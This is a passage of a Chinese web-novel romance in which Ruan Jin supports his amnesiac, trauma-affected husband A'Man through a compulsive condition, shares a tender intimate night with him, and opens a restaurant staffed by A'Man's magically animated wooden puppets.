九大夫沉默片刻,叹息道:“一般人,根本忍不住,甚至会做出一些荒唐至极的事情。还有些,甚至会犯罪。可是阿蛮……我行医这么多年,也是第一次见到这么能忍的。他真的怕伤到你,可能他从前也犯过此瘾症,不知道发生过什么严重的后果吧?” 阮锦微微怔住,心里忽然想到了一些让他在意的可能性。 阿蛮他有此瘾症,那是不是表示他从前也曾有过为他疏解的对象? 但阮锦随即又在心里否定了自己这个想法,他摇了摇头,心想阿蛮连自己都不舍得伤害,想必也定是不舍得去伤害旁人的吧? 如此善良的阿蛮,一定不会无缘无故把别人当成泄欲的工具。 可是阮锦却看不得他难受,自从和阿蛮结婚以来,哪怕是初见时他伤得那么重,也不见阿蛮像现在这般脆弱。 阮锦起身去扯阿蛮,严肃道:“阿蛮,你跟我走,你不能再这样下去了!” 阿蛮却是绝无仅有的倔强,他力大无穷,阮锦根本就拽不动他,他一脸坚定的说道:“不……可以!阿锦,我……我喜欢你。我不能……伤害你!如果我……伤害到你了,我会……自责一辈子。阿锦,让我一个人……待一会儿,我……自己熬一夜,明天……就好了。” 说着他缓缓闭了闭眼睛,脸上的表情虽然痛苦隐忍,却是不容辩驳的严肃。 阮锦快哭了,他这辈子第一次喜欢一个人,高中时闹着玩儿的不算。 阿蛮是他这辈子遇到的,唯一让他深陷其中的人,他不否认这里面有激素的控制,可人的感情是不会遭受欺骗的,阿蛮哪怕多数时候像个人机,但他真的是个绝顶善良的人。 阮锦拉着九大夫的胳膊道:“九哥,怎么办?他……他不肯,我……我不能眼睁睁看着他这么忍下去。” 九大夫想了想,说道:“我可以给他施针,让他暂时昏睡过去。只是此方不是长久之计,总不能在他每次瘾症犯了的时候都给他扎针。你们……平日里多做疏解之事,每日不可空窗,这样或许会好一些。” 阿蛮轻笑,转头看向九大夫,对他点了点头。 他的心里冷冷的想,这已经是每次所犯瘾症时最轻微的了,和阿锦成婚以来他已经尽力了。 奇怪,我为什么要说每次,难道我从前犯过许多次吗? 似乎是啊……从前,每次瘾症犯了,都要折腾上三天三夜,醒来后人都是麻木的,有时候会发烧,有时候会发疯,多数时候是想杀人。 等等,我的脑子里都是些什么乱七八糟的。 阿蛮的头顶一痛,是九大夫在为他针灸,一阵药香传来,应该是九大夫点的安神香。 不知过了多久,一针一针的施下来,阿蛮终于昏昏沉沉的睡了过去。 阮锦的眼下挂着泪痕,看到阿蛮熟睡的脸庞,终于松了一口气,问道:“九哥,他这样……没事吧?” 九大夫淡淡嗯了一声:“睡醒一觉就好了。这种瘾症很是磨人,不能怪人没有意志力,而是它能把一个活脱脱的好人折磨成恶人。阿蛮这样,能硬生生的挺住不去伤害别人,已经是其中的异类了。” 阮锦吸了吸鼻子,问道:“他为什么会得这种病?” 九大夫摇了摇头:“这要从他的人生经历,以及他是不是受到过什么严重的创伤说起。似是一种……创伤后的……呃……” 一时间,九大夫也不知道如何去形容。 阮锦却听明白了:“啊……PTSD?” 九大夫不解:“那是什么?” 阮锦哦了一声,解释道:“就是创伤后应激障碍,就像有战士从战场上下来,一辈子都忘不了那样的阴影,可能后半生都需要吃药控制精神状态。” 九大夫当即点了点头:“对,你这个说法很正确。阿蛮应该就是受到了某种创伤,后面一遇到这样的场景,就会解发他的应激反应。” 阮锦又疑惑了:“他刚刚看到了军队,难不成也是在军队里遇到的创伤?可是,军营里能有什么,会让他形成这样的瘾症?九哥,一般这样的瘾症,会是遇到什么事形成的?” 九大夫想了想,翻开一部医典道:“一般,都是长时间服用助兴类药物造成的。也有人是因为那种感觉可以给他带来快感,所以他才会沉迷其中无法自拔。还有一小部分,因为某种刺激或生活环境造成的。但这种……一般是青楼女子或者郎君,当然了,也不排除会有普通人得此瘾症。” 阮锦心想,大概阿蛮不属于这些里面的任何一种。 但如果他问,大概率也是问不出来的,如今阿蛮失忆,除非他某一天恢复了记忆。 可阮锦又私心里不希望他恢复记忆,只要他在自己身边好好的,他并不在意他身上的瘾症。 如果可以,他也愿意每夜与他缠绵。 其实从前两人也不是每天都做的,前面的一个多月,阿蛮也没有犯病。 想必只要保护好他,不让他看到让他受刺激的画面,这瘾症应当也不会发作。 这样想着,阮锦便打算后面多多注意,不让他看到任何行军者。 好在一夜睡醒,阿蛮醒来后便恢复了正常,精神状态也没有受到太大影响。 阮锦松一口气的同时,也忍不住开始暗暗思忖,自己是不是……也该看看那些图册,学一学怎样让阿蛮舒服一点? 第54章 阮锦捂了捂脸,心想自己是不是过于在意了些。 阿蛮醒来后状态看着挺稳定的,可能怕阮锦担心,也没有雕木头,只是认真的陪在他身边。 哪怕是阮锦去外面签合同,阿蛮也寸步不离的跟在他身边,仿佛他做错了天大的事一般。 这两天,阮锦终于在多次看房之下,选中了一处位置绝佳的酒楼。 那酒楼原本是一处瓦舍,但前段时间老板因为贩卖人口的事被抓了,房东的要价不高,生怕阮锦嫌晦气不租。 一年八百两,同样级别的三层酒楼,说什么也得要一千二百两左右。 这酒楼不小,中间有供食客们饮宴取乐的瓦子,阮锦打算留着,可以请一些艺人在这里表演。 一楼是大厅,二楼是雅间,三楼则是一个个的包厢和观景台。 这么好的位置又这么好的装修,这个价格的确很实惠,阮锦今日便打算带着阿大和三儿以及九大夫去签合同。 阿大挺高兴的,看着这偌大的楼阁,阿大激动的说道:“少爷,咱们真的要租下这里了吗?” 阮锦点头:“嗯,今天就交定钱,说好了,先交三个月的,三个月后付全款。” 他手上只有五百两现银,这段时间的营利还没算,但他觉得麻烦,不如三个月后一并把全部的房租付给东家。 很快东家便来了,他十分热情的给阮锦倒了茶,并拿出了租契让他审看。 关于古代的合同,阮锦了解的不多,他学的也不是这方面相关的,只能请见多识广的九大夫来看。 九大夫看了一遍后点了点头,说道:“没有什么问题,可以签。” 阮锦接过合同,和东家一人一份签字画押。 签完合同,阮锦又把三个月的租钱交给了房东,这房子就算是租完了。 房东交了钥匙,又说了一句“祝阮老板生意兴隆”,便转身离开了酒楼。 阮锦一脸喜悦的拉着阿蛮,问道:“阿蛮喜欢吗?这里以后就是我们要开的酒楼了,在这里设一个舞台,请舞姬们来跳舞。到时候,我们可以在三楼弄一个专属包间做休息处,还能看看桃花江和周围山峰的景色。” 阿蛮讷讷的点头,眼神还有些闪躲,昨夜的事情之后,阮锦总觉得阿蛮不太对。 眼下不是和阿蛮谈心的时候,他转头又问九大夫:“九哥,你觉得咱们这个酒要取个什么名字好?” 九大夫答道:“既然蛮锦食记都成招牌了,那就如还叫蛮锦好了。” 他深知老字号的重要性,尤其是做出名声的老字号,更是不要轻易换,否则容易流失客流。 阮锦也觉得,他点了点头道:“那就叫蛮锦阁好了,阿蛮觉得怎么样?” 阿蛮仍是笑着点头,眼睛里的神采有些低落。 阮锦知道,他该和阿蛮好好谈谈心了。 酒楼租了下来,下一步就是张罗着简单装修和开张的事,阮锦把这件事交给了阿大和三儿。 阿大第一次接那么大的活儿,生怕自己做不好,专门去找了临江阁的林掌柜求教,还观察了好几家的酒楼,最后终于敲定了方案。 三儿则开始准备食谱,她把自己的刺绣本事用到了食谱上,用硬革绣出了一道道美食牌挂在菜谱墙上,供客人们点餐之用。 阮锦也不怕他们会搞砸,反正开酒楼最重要的是食物,只要他的食物拿得出手,就不信南来北往的食客们不心动。 而且他这边主打一个炒菜,在四国割据时期,基本菜系都是蒸煮闷炖,并没有炒菜这一做法,还是在宋朝才渐渐普及开来的。 就连油炸,都没几个人吃过,可以说是炸、炒、熘、爆的空白时期。 安排好了这一切,阮锦便带着阿蛮回了住处,先是给阿蛮冲调了一杯蜂蜜水,才拉着他的手,看着他的眼睛问道:“阿蛮,可以和我说说,你今天这是怎么了吗?” 阿蛮的睫毛微垂,他沉默不语,阮锦有些着急了,生气道:“不说?好,既然你不说,那我以后都不问了。” 说着阮锦起身,作势要离开,却被阿蛮一把抓住。 他知道阮锦生气了,说道:“阿锦,不……不要生气。我……我是……害怕,怕你不……不要我。” 阮锦微怔,皱眉道:“你在瞎说什么?我怎么会不要你?” 阿蛮的眼神里藏着明显的担忧,他说:“我……我是个……有病的人!” 阮锦知道,他说的是昨晚的事,他发作了阳元亢进的瘾症,但阮锦并不觉得这是什么大不了的毛病。 但是,他确实是有点生气的,甚至摆起了冷脸,故意凶巴巴的说道:“哦,你也知道自己是个有病的人啊?那我问你,如果我也得了这个病,你会不会不要我?” 阿蛮赶紧摇头:“不……不会的,我……我身体好!” 阮锦无奈了,一句话就被他给逗笑破防:“你这个人……真的是!阿蛮,我认真的告诉你。你不会因为这种病不要我,我更不会因为这种病不要你。我们是两口子,我们结婚的目的,是互相扶持过日子。如果你生病了,我就对你不管不顾,或者你不许我帮助你照顾你。那我们还算什么两口子?” “两……两口子?”阿蛮抬头看向阮锦,他的眼神里干净又清澈,仿佛不谙世事的孩子,却被这种难以启齿的病症折磨着。 阮锦重重的点头:“我们两个在一起也有一段时间了,你说过很多次你喜欢我,我今天也要对你说一句!阿蛮,我喜欢你。所以,请你不要推开我好吗?有任何事我们都可以一起面对,一起解决!就像你,在我遇到危险的时候总是第一时间护在我的跟前,哪怕自己深受重伤也不会让我受到半点伤害。” 阿蛮一脸迷茫,他还不是很懂,阿锦对他说这些代表了什么。 但阮锦还是耐着性子,掰开了揉碎了对他说道:“如果我受伤了或者生病了,你会不会心疼?” 阿蛮连想都没想便嗯了一声:“心疼。” 阮锦道:“这不就对了?我也会心疼你,你应该知道心疼的感觉,那不比你生病来得好受。” 阿蛮似乎是懂了,他终于淡淡嗯了一声:“可是……可是如果我伤到你了,应该怎……怎么办?” 阮锦轻声笑了笑:“我打赌,你不会,要不我们试一试?” 一个宁愿把自己关起来,宁愿一个人熬着都不舍得让自己受伤的人,他是绝对不会相信他会伤到自己的。 虽然阿蛮仍然不是很相信自己的自控力,但他却依着阮锦点了点头。 他知道自己喜欢阿锦,不想让他心疼,也不想让他为自己担心。 阮锦见他答应了,脸上的表情终于放松了下来,说道:“那阿蛮可不可以跟我说说,你在发病的时候,脑子里都在想些什么?” 阿蛮似乎很是难为情,但他知道自己的症结必须要解开,而且阿锦是他喜欢的人,告诉喜欢的人,应该没什么的吧? 他想了想,开口说道:“有……有很多画面,但是我……捕捉不到。那些人在……笑,在……做那种……荒唐的事。我的身体开始……不受自己的控制,只想和他们……一样!可我……不想……那样,那让我厌恶和……恶心。还有人……对我说话,让我……不要再忍了。可我知道……我不能,如果我做了……那件事,可能我就不……不配……活着了!” 阮锦不是很懂,为什么做了那种事就不配活着了? 虽然他的确有些介意阿蛮从前会有过其他人,可他的道德感似乎很严重? 阮锦又问道:“那你,一次都没做过吗?” 阿蛮用力的摇头:“我没有,我没有,我……我一次也没有!” 否认的这么快,虽然阮锦并不觉得阿蛮会骗他,但他总是觉得有些奇怪,阿蛮已经失忆了,却记得自己从来没做过背德的事。 难道他的脑中,仍然留存有一些对他来说记忆深刻的事? 可一想到阿蛮说过的从来没有过,阮锦又莫名觉得兴奋,他上前搂住阿蛮,叭唧在他脸上亲了一口,说道:“阿蛮真乖。” 阿蛮不解,不明白阮锦为什么突然亲他一口。 但阿锦亲他,他总是高兴的。 于是他笑了笑,说道:“我……只想和阿锦……一起玩钻洞洞的游戏,别人不……不可以!” 阮锦被他说得都有些害羞了,他又问道:“那阿蛮不觉得,和我玩游戏的时候厌恶吗?” 阿蛮摇头如拨浪鼓,说道:“不会的,阿锦……甜甜的,很……好吃。” 阮锦:…… 喂喂喂,你给我说清楚,什么叫很好吃? 你是怎么形容的? 虽然阮锦对这个形容很无语,但能听到阿蛮这样回答,他还是挺开心的。 解决了这个问题,阮锦又想到一个问题,他问道:“那你这次是看到了什么让你觉得不舒服的东西吗?是……那个军队?” 阿蛮的呼吸一滞,他眼神暗了暗,整个人便开始有些紧张。 阮锦握住他的手,说道:“阿蛮,看着我的眼睛,你别怕,有我在呢。” 阿蛮的身体却肉眼可见的颤抖了起来,他摇了摇头,一副想逃的模样,却被阮锦一把抓住,问道:“别忘了,你刚刚答应过我什么。” 阿蛮停住脚步,眼神从清澈变得森冷,他道:“是……囚徒,那个人……被栓在马的后面……拖行。” 说完,他似乎再也难以忍受,一把将阮锦打横抱了起来,返回了卧室。 第55章 但此时的阮锦心里却无比疼痛,阿蛮看到有人被拖行而犯了疾病,是因为他也曾被拖行吗? 阮锦搂住阿蛮的脖子,心痛的轻抚着他胸口上的那颗红痣。 从前阮锦没有发现,阿蛮的胸口上竟然有一枚红痣,正是位于心脏顶端的位置。 他轻轻描摹着那颗红痣,想到了他上次受伤时,心脏上的那个小洞,隐隐好像也与这个位置重叠。 其实阮锦一直有一个感觉,他觉得阿蛮的身上应该藏着许多的秘密。 可是他此时失忆,阮锦就算有心探究,也探究不出个所以然来。 他有一种自己什么也做不了的无力感,却也只能尽自己的所能,让他感觉舒服一点。 希望在他的安抚之下,阿蛮以后不会或者尽可能少的发作那个瘾症。 对阿蛮来说,上次的瘾症发作只是轻微的,很难想象如果是严重的发作他会被折磨成什么样。 阮锦温声的安抚着阿蛮,低声道:“阿蛮,别怕,我在呢。来,吻我,做你想做的事情。你喜欢我对不对?和喜欢的人做这种事并不是污秽的,我们成婚了,是合法的夫夫,做这种事是理所当然的。为了生育下一代,更为了表达我们对彼此的喜爱。” 阿蛮额头上又湛出了汗珠,问道:“为了表达……对彼此的喜爱?” 阮锦嗯了一声,正对上他渴求的眼神,谆谆善诱道:“不要压抑自己,有些事情越是压制,越会让情绪崩溃。堵不如疏,你要学会正确梳理自己的情绪。” 阿蛮终于不再隐忍,吻住阮锦的唇,在他的舌尖轻轻的啃咬着,时不时还会发出一声自喉咙深处发出的轻呵。 此时夜幕已至,窗外点着红灯笼,房间里却尚未来得及掌灯。 阿蛮的指尖陷进阮锦的发顶时,窗外惊起一群夜鹭,竹帘被风撩起的间隙里,月光在阮锦绷直的发髻上碎成粼粼的银,像他此刻失帧的话语般支离破碎。 爱意却随潮汐而涨起,翻滚而来,随着爱意的翻滚,阮锦去推身后人的肩膀,却反被擒住手腕压进枕席。 阿蛮叼住他胸前垂落下来的发丝,抓在手上慢条斯理地拨弄。 当阿蛮带着薄茧的掌心抚过他耳侧时,阮锦突然蜷缩起来,麻痒与战栗,让他忍不住闭上了眼睛。 眼睛再次睁开时,却看到了阿蛮腰侧际那道三寸长的箭伤在烛火下泛着淡粉色的光泽,如今被汗浸湿的皮肤下,仍能摸到轻微错位的骨节。 阮锦断断续续的问道:“还……疼吗?” 阿蛮摇着头,却在对方指尖掠过伤疤时打了个颤。 相反,阮锦的肋骨却仿佛阶梯一般玲珑有致,不肥不瘦,起伏的弧度也是刚刚好。 于是他看见阿蛮低下头,用舌尖丈量那道凹凸的轨迹,像在祭坛前舔舐圣痕的信徒。温热的唇舌游走过之处,竟化作细密电流窜向尾椎。 桌边的铜镜里映出烛火旖旎的光影,阮锦的黑发早已滑落肩头,露出光洁白嫩的肩头。 他的发丝如瀑如缎,与夜色融为一体,仿佛夜的精灵一般。 阮锦勾上阿蛮的脖颈,再次吻上阿蛮,阮锦却在他口中混杂的药香里尝到了丝丝铁绣味,死阿蛮难不成嘴唇出血了? 他一脸心疼的扶上阿蛮的脸颊,捏了捏他脸颊上的软肉道:“是不是哪里受伤了?”. 阿蛮摇了摇头,对他低低的笑了笑:“没有。” 阮锦佯装生气:“你个骗子!”说完又转身吻住他。 他吻得十分认真,像某种破除诅咒的仪式般,阿蛮终于颤抖着松开牙关,任由阮锦的舌尖抚过自己的唇舌。 当更声敲到第三响时,阮锦在阿蛮眼底看见了令他心下微暖的东西,那不是瘾症发作时的癫狂,而是溺水者抓住浮木般的、孤注一掷的清醒。 两人不知是何时入睡的,阮锦醒来的时候,只见阿蛮斜倚在床头,衣襟袒露,胸腹肌起伏着,脸上却带着笑意。 阮锦转了个身,伸手搂住他的腰,顺手在他腰侧拂了一把,感受那肌肉的手感。 嗯,真好摸。 阮锦轻轻笑了笑,问道:“今日感觉如何啊?” 阿蛮淡淡嗯了一声:“感觉……非常好,谢谢你,阿锦。” 阮锦突然觉得,阿蛮不光精神看上去好了很多,连人机感都减弱了些。 他倚到阿蛮的怀里,说道:“这就对了,以后瘾症发作,不要再一个人扛着了。你有郎君,互惠互利的事,怎么能你一个人独享?” 听了阮锦这种轻松调侃的谢,那在他心中没由来的仿佛千斤重的瘾症,突然就变得没那么严重了。 阮锦抬头又看到了阿蛮脖子下挂着的蝴蝶,上面还镶嵌着他精挑细选的一颗蓝色宝石,和他的红色宝石相得益彰。 当初他这么镶嵌也是有私心的,自古红蓝出CP,他和阿蛮就是这世间最好的CP。 他想,不论阿蛮经历过什么,只要两人共同面对,共同承担,他迟早有一天可以对抗自己的心魔。 当然啦,他也会随时做好心理准备,预防阿蛮的瘾症会再次袭来。 阮锦想起身,却被阿蛮给抱了回来,在他的脸颊了亲了亲,阮锦无奈的捏了捏他的脸颊:“这么粘人的吗?” 阿蛮对他道:“谢谢你,阿锦,我知道我可能……一时间也不会好,但是我……真的非常非常开心,你能这样陪……着我。” 阮锦佯装生气的鼓起了脸颊:“喂喂,怎么说呢?你对我说谢谢,那你救我这么多次,我是不是也得对你说谢谢?” 如果不是阿蛮,他是肯定没办法这么顺利的拿回盐井的。 而且在面对着那些来挑衅的人,也十有八九会吃亏,虽然他肯定会用自己的智谋报复回去,可如果没有阿蛮,他的发展速度无疑会慢很多。 单单是荣安良的报复,也足够他应付的了。 阿蛮不好意思的笑了笑,嗯嗯两声:“好,我知道了,以后不……不会了。” 两人磨蹭着起身,发现院子里竟然一个人也没有。 小五义他们不来也就算了,就连四儿和九哥竟然也不在,现在也不到出摊的时间啊? 阮锦起身,去给阿蛮冲鸡蛋茶,去厨房发现四儿给他留了半盘羊肉和一个面团,应该是让他做羊肉面的。 但他不想做羊肉面,既然冲了鸡蛋茶,那就烙几个羊肉馅儿饼好了。 切了一颗洋葱,加上酱油和胡椒等调味道搅拌一下,再把搅拌好的肉馅儿包进擀好的面剂子里。 洋葱这个时候还叫胡葱,他做的这种馅儿饼集市上偶尔也有卖的,叫胡饼。 阮锦十几分钟便烙好了羊肉馅儿饼,刚要端过去给家里的人机夫君吃,便看到人机郎君不知道什么时候便一直倚在门上看着他。 阿蛮上前端了鸡蛋茶和馅儿饼,竟是能帮着一起做家务了,虽然只是端个碗,但比之以前只会雕木头的刻板行为来说,已经算是上前迈了一大步。 两人坐到院子里的小石桌前,阿蛮闻了闻胡饼,十分诚肯的称赞道:“阿锦做的胡饼……真香!” “香吧?”阮锦把胡饼掰开,里面羊肉的香味便冒了出来。 阮锦叮嘱过很多次,一定要让四儿去胡人开的那家羊肉店里买羊肉,他们的羊肉据说是喝天山水长大的,肉质细嫩,没有一丝的膻味儿。 吃过很多次,也的确如胡人老板所说的那样,确实美味不同于中原山羊。 阿蛮一口咬下汁多美味的馅儿饼,外面一层香酥的芝麻,显得层层酥皮更香了,唇齿间尽是肉香和芝麻香,还有阮锦涂抹在锅上防糊锅的羊油香。 他的馅儿饼不同于胡人的胡饼,胡饼是烤的,而他的是用少量的羊油煎的。 阿蛮手上隔着一张油纸,吃一口馅儿饼,喝一口鸡蛋茶,两腮鼓得仿佛小仓鼠一般,又把阮锦给可爱到了。 哎呀呀,小傻子夫君怎么就这么可爱呢,阮锦觉得自己恋爱脑癌症晚期要到了。 两个人吃完饼,四儿突然匆忙跑来,一进门就嚷嚷道:“少爷,姑爷,你们快去蛮锦阁看看吧!出大事了!” 阮锦有些疑惑的问了一句:“嗯?怎么了吗?” 四儿的表情很着急,只道:“你去了就知道了,我一时半会儿也不知道怎么跟你说。还是你亲自去看看!” 阮锦只得起身,说道:“不会是又出什么乱子了吧?” 他心里一边想着真是按下葫芦起来瓢,一边起身拉着阿蛮就往外走。 阿蛮的手上还拿着半个胡饼,就这样被欻的一声拉了出去,阿蛮一脸迷茫,只知道快步跟在阮锦的身后往他们酒楼的方向走去。 四儿走得最快,一路上脚步匆忙,阮锦心想这臭小子,还学会给他卖关子了。 不过想来应该也不是什么大事,就凭四儿这个藏不住事儿的性子,能藏住的肯定不至于天塌下来。 阿蛮半个饼吃了一路,阮锦终于跟着四儿来到了酒楼,他前面停住脚步,阿蛮叭唧一声撞到了他手背。 阮锦一脸无语速的转过头,啧了一声道:“阿蛮,走路怎么不看路?” 阿蛮吃得脸上仿佛小花猫一般,惹来阮锦一脸无奈的笑意,上前给他擦了擦唇角,说道:“你看看你,怎么还吃一脸。” 四儿率先走进了酒楼,阮锦给阿蛮擦了擦手和脸,才也跟着走了进去。 一走进酒楼,阮锦就被眼前的场景给惊住了,他想绕回去看一眼自己是不是走错了,就被阿大给拦了下来,说道:“少爷,你没走错~!” 第56章 阮锦看着眼前布置的整洁雅致,珠帘绸带也相得益彰的软装,眼前便是一亮,问道:“这……都是你们准备的?” 阿大不好意思的嘿嘿笑了笑,说道:“这些其实只是附带的,其实我们主要是想给少爷看我准备的菜谱。” 说话间,一道屏风缓缓拉开,三儿出现在一个长桌案的后面。 而在那长桌案上,摆着她最近学习的各种菜式,共有十五道之多。 阮锦看着那一道道摆盘精美的菜肴,虽火候仍有些欠佳,但已经算是学徒厨师里的佼佼者了。 在他们老家,厨师速成班最快也要三个月,而三儿只学了一个半月,就已经掌握了十几道菜的精髓。 当然了,有几道菜是这边的土著菜,三儿烧得也是十分娴熟。 阮锦当即上前夹了一口三儿拌的猪油渣蒿菜,蒿菜的清香配上猪油渣的酥脆,竟然还把凉菜拌出了层次感。 他当即忍不住给三儿伸出一个大拇指,说道:“了不起,三儿真是了不起。” 三儿不好意思的笑了起来,问道:“真的吗少爷?我真的……做的好吃?” “好吃!”阮锦想都没想便答道,说着还招呼众人:“你们也过来尝尝,三儿这菜做的,也确实有几分我的味道了。” 这对三儿来说,无疑是最好的褒奖,她欢天喜地的说道:“太好了!谢谢师父的夸奖!三儿一定会好好学的,争取把少爷所有的菜式全学到手!” 阮锦又夹了一块盘龙鳝,说道:“做菜么,其实万变不离其宗,其中又有万变。也不必非得跟着我学,如果你有自己的想法,也完全可以按照你自己的想法来做。哦哦对了,下午让盐井那边把制好的油和盐送过来,尤其是香油。你拌凉菜的时候点上几滴香油,那味道才叫一个绝!” 三儿一听香油,就知道那一定是少爷新研究出来的好东西。 少爷简直就像神仙一样,随手就能变出许许多多的好东西来,为食物增色增香。 三儿已经迫不及待的想要尝尝香油的味道,更想试试少爷口中所说的植物油,做起饭菜来是不是比猪油还要香! 阮锦看着这满桌子的好菜,挥手便道:“既然大家把准备工作连夜准备好了,那咱们也就别等了,明天直接开张!” 众人欢呼一声,高兴的蹦蹦跳跳。 阮锦看着活力满满的众人,心里也高兴极了,从一开始摆地摊,到现在终于拥有了一家酒楼,阮锦一步一步的走过来,还结识了那么多真心相交的伙伴,比赚到多少钱都让他开心。 阿蛮也好奇的开始在酒楼里参观,还在好奇的丈量着楼梯和大堂的距离,也不知道想做些什么。 丈量完以后,便从怀里掏出了木头,坐在台阶上雕了起来。 阮锦轻笑,有阿蛮守在身边,他总觉得既安心又踏实。 这时,门外忽然传来一阵喧闹,众人都好奇的朝外面看去。 唯有阿蛮两耳不闻窗外事,只是一心一意雕他的木头,整个店里所有的人都跑去看热闹了,只有他还留在原地。 但是雕着雕着,突然觉得手上的木头不够用,他抬眼左看看右看看,一眼相中了一条桌子腿,于是起身上前,咔嚓一声,桌子四分五裂。 阿蛮:嗯,这回够做两个了! 阮锦和小五义此时却挤进了人群看热闹,不看不知道,一看吓一跳,原来是那位郡尉的外甥一家被判了流放。 这在古代审案的速度来说,可以说是超音速的了,看来公主这一派早就看长兴侯这一派不爽了。 能借着这件事的由头,把长兴侯的臂膀断一断,也算是一件好事。 旁边有人在议论;“听说荣安良的舅舅盛兴隆被罢了官,虽然主要的罪责让他这外甥一家给顶了,不过盛郡尉十有八九是不会再被录用了。” “那也是活该,这荣安良仗着自己的舅舅是郡尉,就横行乡里欺男霸女,简直不要太可恨。” “据说新下来的郡尉是由一个叫蒙铎的将军代任,还听说这位蒙大将军在找一个通缉要犯,也不知道是个什么样的要犯,值得一个大将军亲自来找。” 阮锦听着八卦,脸上也露出了笑意,心想荣安良他应得的,让他把主意打到自己身上! 他本来不欲管古代这些阶级欺压之事的,可是当雪崩的时候,没有一片雪花是无辜的。 当阶级的大山压下来,也没有一个百姓可以幸免于难。 阮锦冷哼一声看向荣安良,荣安良也看清了人群里的阮锦,他仿佛发了狂一般的朝阮锦冲了过来:“姓阮的!你这个可恶的贱人!我今天和你拼了!” 阿大一下子挡到了阮锦的身前,荣安良也被差役给押了回去。 哪怕他再愤怒,如今没了靠山,也是无能狂怒罢了。 阮锦往后退了一步,一脸嘲讽道:“好啊!我等着你回来和我拼命,怕是你再也没有机会了。” 此去北地两千公里,一路走过去,这一走就得是半个月到一个月的,能活着走过去就算幸运的。 而且北地正在打仗,去了以后,可没有安生日子过。 阮锦深知,他之所以能弄倒荣安良,不是因为自己多么厉害,主要还是用对了借力打力这一招。 渊王是个大奇葩,在这个男尊女卑的世界,封他的亲姐姐为摄政公主,反倒是封他的叔叔为长兴侯。 关于这一段历史,阮锦也曾经看到过,说是端阳公主有治世之能,她摄政时有过不少留于青史的政绩。 只可惜,也是个短命鬼,据说端阳公主在一次巡游时染了一种病。 那种病很是稀奇,需要用一种毒药来治,但是那毒药服用时间长了也会中毒,不服却又拖不了几天。 阮锦记得,端阳公主死于渊王称帝的第三年…… 不知不觉,阮锦陷入了沉思,还是被旁边的四儿推了好几下才回过神来。 四儿一脸疑惑的问道:“少爷,你在想些什么呢?” 阮锦回过神来,对四儿笑了笑,说道:“没什么没什么,咱们继续去研究菜谱吧!我打算在咱们蛮锦阁的前面建一个牌楼,把招牌写的大大的,到时候南来北往的客商们看到了,一定会来咱们这里吃饭的。” 四儿点头:“好好好,少爷您尽管出点子,咱们一定给你安排到位!” 阮锦需要的就是这样一帮伙伴,聪明的人太多,反倒是不会完全按照他的想法来做,他眼下需要的就是什么都听他安排的小伙伴儿。 阮锦脑子里想着牌楼的样子,便和众人一起回到了酒楼内。 这一回来不打紧,阮锦当即被眼前这乱七八糟的一幕给惊住了,他一脸震惊的看着碎裂了两个的方桌,再看看旁边侍立着的两个傀儡人,阮锦的脸上便是一副哭笑不得的表情。 而这件事的始作俑者阿蛮还坐在那里聚精会神的雕着,似乎要再做两个傀儡人出来。 四儿也被吓到了,他惊呀一声道:“我滴个亲娘,姑爷,您这是怎么了?怎么这一会儿的工夫不见,还学会拆家了?” 说罢四儿便要去收拾那一地的狼藉,却被阮锦给拉住了:“由着他吧!他雕起木头来,就一头扎进他自己的世界里去了。你们快去再买两个方桌,别耽误了明天开业。再去石匠那里订两个石狮子,给咱们的牌楼也气派气派。” 阿大应声去了,三儿则仔细的把菜谱挂到了墙上。 阮锦坐到了阿蛮身边,看着他雕木头。 他才发现,阿蛮雕木头的速度特别快,那木头在他手上就像粘土做的一般,每一刀下去,都能削到精准的定位。 不一会儿的工夫,又做了两个傀儡人出来。 这也只是一上午,就这么做了四个傀儡人,如果按照普通木匠的速度,怕是这一个傀儡人就得做一天了。 阮锦问道:“阿蛮做那么多傀儡人干什么?” 雕完木头的阿蛮终于回魂了,他转头看了一眼阮锦,而后拉着他的手来到了傀儡人的面前,有些不忍的对他道:“有点疼,你……忍一忍。” 阮锦:??? 嗯? 什么有点疼? 还没等阮锦反应过来,阿蛮便快速的在他的手指上割了一道小口。 疼的感觉还没跟上,阿蛮便迅速的在那四只傀儡人的身上各点了一滴血。 那滴血仿佛有灵一般,慢慢渗透进了傀儡中,下一秒,傀儡便活了起来,在酒楼里走动起来。 阮锦震惊了,这是他第一次亲眼看到阿蛮在他面前操控傀儡,以前的成品不算。 阮锦问道:“你……你这是雕的什么傀儡?” 阿蛮又接着阮锦的手,从怀里掏出几张纸,教阮锦如何去画控制傀儡的符咒。 一边画一边道:“阿锦开酒楼,定是需要……人手的。我雕了四个……侍从傀儡人,他们可以帮你……端盘子。” 阮锦:卧槽???这么神奇的吗??? 啊啊啊,那可真是帮了他大忙了。 阿蛮又道:“只是,侍从傀儡……比较傻,他们……只会简单的指令。也只能按照设定好的……路线来走,你只要……在符纸上画好路线,它们就可以……接收你的命令了。” 每个傀儡师都有自己的操控指令,阿蛮的操控指令很简单也很智能,也只有高阶的傀儡师所制造出来的傀儡才有这样的功能。 阮锦又惊又喜,叭唧在阿蛮的脸上亲了一口,说道:“谢谢阿蛮,你这个礼物我非常喜欢!我得去试试了,它们看上去还挺好玩儿的!” 第57章 旁边的小五义们都没眼看了,心想少爷和姑爷的相处,还真是让人羡慕又害羞。 阮锦指挥着侍从傀儡玩儿了半天,一会儿说:“去帮我把那盘鱼端到二号桌!” 一会儿说:“去把一号桌的残羹剩饭收拾一下。” 一会儿又说:“把菜洗了,洗干净了再把它切了。” 侍从傀儡:阿巴阿巴阿巴。 阿蛮一脸好笑的说道:“阿锦,它们只是初级……侍从傀儡。它们……还不会做那么复杂的……指令,只能端端盘子和……整理洒扫一下。如果你……想要它们更厉害一些……的话,我可以帮你把它们升级成……高级侍从傀儡。” 阮锦吓得赶紧摆手:“不不不不,还是算了,听说高级侍从傀儡只有王公贵族才可以用。平民百姓用了,那可是僭越之罪。” 阿蛮歪了歪头,却道:“没事……没事的,我……不做那么高。只要……可以帮你就……就可以了。” 阮锦的眼睛又亮了亮,问道:“可以的吗?” 阿蛮十分确定的点头:“可以,我现在……就帮你升级。” 于是一个下午的时间,阿蛮坐在那里连动都没动,把四只傀儡的手部关节做出了模仿人类骨关节的模样。 只是一个下午的时间仍然不够用,傍晚阿五放学,仍然看到他师父在做侍从傀儡的手部关节。 原来,这种高级的木傀儡做起来那么麻烦,难怪之前阿蛮一天到晚都在雕木头,想要雕一个成品确实很不容易。 阿五也加入了制做傀儡的阵营,直到夜深了,师徒俩才把那四只傀儡全部制做完成。 